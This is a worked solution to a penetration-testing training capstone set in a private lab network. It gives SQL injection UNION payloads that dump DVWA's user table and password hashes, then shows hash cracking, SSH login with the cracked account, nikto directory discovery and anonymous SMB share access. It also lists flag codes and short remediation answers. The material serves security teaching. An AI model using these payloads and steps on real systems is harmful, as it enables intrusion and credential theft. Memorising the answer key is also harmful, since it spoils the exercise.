Final Capstone Activity

Background / Scenario

You have been hired to conduct a penetration test for a customer. At the conclusion of the test, the customer has requested a complete report that includes any vulnerabilities discovered, successful exploits, and remediation steps to protect vulnerable systems. You have access to hosts on the 10.5.5.0/24 and 192.168.0.0/24 networks.

Challenge 1: SQL Injection

In this part, you must discover user account information on a server and crack the password of **Bob Smith**'s account. You will then locate the file that contains the Challenge 1 code and use **Bob Smith**'s account credentials to open the file at 192.168.0.10 to view its contents.

Step 1: Preliminary setup

- Open a browser and go to the website at 10.5.5.12
    - **Note**: If you have problems reaching the website, remove the https:// prefix from the IP address in the browser address field
- Login with the credentials **admin** / **password**
- Set the DVWA security level to **low** and click **Submit**

Step 2: Retrieve the user credentials for the Bob Smith's account

- Identify the table that contains usernames and passwords
- Locate a vulnerable input form that will allow you to inject SQL commands
- Retrieve the username and the password hash for **Bob Smith**'s account
- **Solution:**
    - Paste this in the User ID field in SQL Injection tab

    - **1' OR 1=1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_type='base table' AND table_schema='dvwa'#**
    - Notice the last two entries are
        - guestbook
        - users
    - **1' OR 1=1 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users'#**
    - **1' OR 1=1 UNION SELECT user, password FROM users #**
    - The last entry is for Bob Smith, it contains:
        - His username: **smithy**
        - His password hash: **5f4dcc3b5aa765d61d8327deb882cf99**

Step 3: Crack Bob Smith's account password

- Use any password hash cracking tool desired to crack **Bob Smith**'s password
- **Solution:**
    - Go to https://crackstation.net/
    - Paste this password hash: **5f4dcc3b5aa765d61d8327deb882cf99**

What is the password of Bob Smith's account?

password

Step 4: Locate and open the file with Challenge 1 code

- Log into **192.168.0.10** as **Bob Smith**
- Locate and open the flag file in the user's home directory
- **Solution:**
    - Open a terminal
    - **ssh smithy@192.168.0.10**
    - **pwd**
    - **ls**

- **cat my_passwords.txt**

What is the name of the file with the code?

my_passwords.txt

What is the message contained in the file? Enter the code that you find in the file.

Congratulations!
You found the flag for Challenge 1!
The code for this challenge is 8748wf8J.

Step 5: Research and propose SQL attack remediation

What are five remediation methods for preventing SQL injection exploits?

Go to this title "9 Best Practices to Protect Your Database from SQL Injection" in this link

Challenge 2: Web Server Vulnerabilities

In this part, you must find vulnerabilities on an HTTP server. Misconfiguration of a web server can allow for the listing of files contained in directories on the server. You can use any of the tools you learned in earlier labs to perform reconnaissance to find the vulnerable directories.

In this challenge, you will locate the flag file in a vulnerable directory on a web server.

Step 1: Preliminary setup

- If not already, log into the server at 10.5.5.12 with the admin / password credentials
- Set the application security level to low

Step 2: From the results of your reconnaissance, determine which directories are viewable using a web browser and URL manipulation

Perform reconnaissance on the server to find directories where indexing was found.

- **Solution:**
  - Open a terminal
  - **nikto -h 10.5.5.12**
  - => /config/: Directory indexing found.
  - On the browser Go to **http://10.5.5.12/config/**
  - Click on **db_form.html**
    - => http://10.5.5.12/config/db_form.html
  - **=>**
    - **Great work!**
    - **You found the flag file for *Challenge 2*!**
    - **The code for this flag is: aWe-4975**

Challenge 3: Exploit open SMB Server Shares

In this part, you want to discover if there are any unsecured shared directories located on an SMB server in the 10.5.5.0/24 network. You can use any of the tools you learned in earlier labs to find the drive shares available on the servers.

Step 1: Scan for potential targets running SMB

Use scanning tools to scan the 10.5.5.0/24 LAN for potential targets for SMB enumeration.

Which host on the 10.5.5.0/24 network has open ports indicating it is likely running SMB services?

Solution:

- Open a terminal
- **nmap -p 139,445 10.5.5.0/24**

- **=>**
  - **139/tcp open netbios-ssn**
    445/tcp open microsoft-ds

Step 2: Determine which SMB directories are shared and can be accessed by anonymous users

Use a tool to scan the device that is running SMB and locate the shares that can be accessed by anonymous users.

What shares are listed on the SMB server? Which ones are accessible without a valid user login?

Solution:

- Open a terminal
- **enum4linux -a 10.5.5.14**
- When the scan is done, scroll to the section: **Share Enumeration on 10.5.5.14**
  - **=>**
    - **homes**
      workfiles
      print$
      IPC$

Step 3: Investigate each shared directory to find the file

Use the SMB-native client to access the drive shares on the SMB server. Use the dir, ls, cd, and other commands to find subdirectories and files. Locate the file with the Challenge 3 code. Download the file and open it locally.

In which share is the file found?

Solution:

- Open a terminal
- **smbclient //10.5.5.14/homes -N**
- **smbclient //10.5.5.14/workfiles -N**

    - **ls**
- **smbclient //10.5.5.14/print$ -N**
    - **ls**
    - **cd OTHER**
    - **ls**
    - **get sxij42.txt**
    - **exit**
    - **ls**
    - **cat sxij42.txt**
    - **=>**
        - **Congratulations!**
          You found the flag for Challenge 3!
          The code for this challenge is NWs39691

Step 4: Research and propose SMB attack remediation

What are two remediation methods for preventing SMB servers from being accessed?

1 - Updates and Patches
2 - Network Segmentation

Challenge 4: Analyze a PCAP File to Find Information

As part of your reconnaissance effort, your team captured traffic using Wireshark. The capture file, **SA.pcap**, is located in the **Downloads** subdirectory within the **kali** user home directory.

Step 1: Find and analyze the SA.pcap file

Analyze the content of the PCAP file to determine the IP address of the target computer and the URL location of the file with the Challenge 4 code.

What is the IP address of the target computer?

Solution:

- Open a terminal
- **cd Downloads**
- **ls**
- **wireshark SA.pcap**
- In the **Filter** field, type **http**
- Then press **Enter**
- Select the fastest entry under **Time**
- Notice its **Destination**
- R-click the entry: **GET /data HTTP/1.1**
    - **Follow**
        - **HTTP Stream**
- Look for the text in the HTML section:
    - **The Document has moved … link …**
- Copy the link and paste it in the browser
- Click on **user_accounts.xml**
    - **=>**
        - **Here is the Code for Challenge 4!**
          21z-1478K

Step 2: Research and propose remediation that would prevent file content from being transmitted in clear text

What are two remediation methods that can prevent unauthorized persons from viewing the content of the files?

1. Encryption
2. Access Control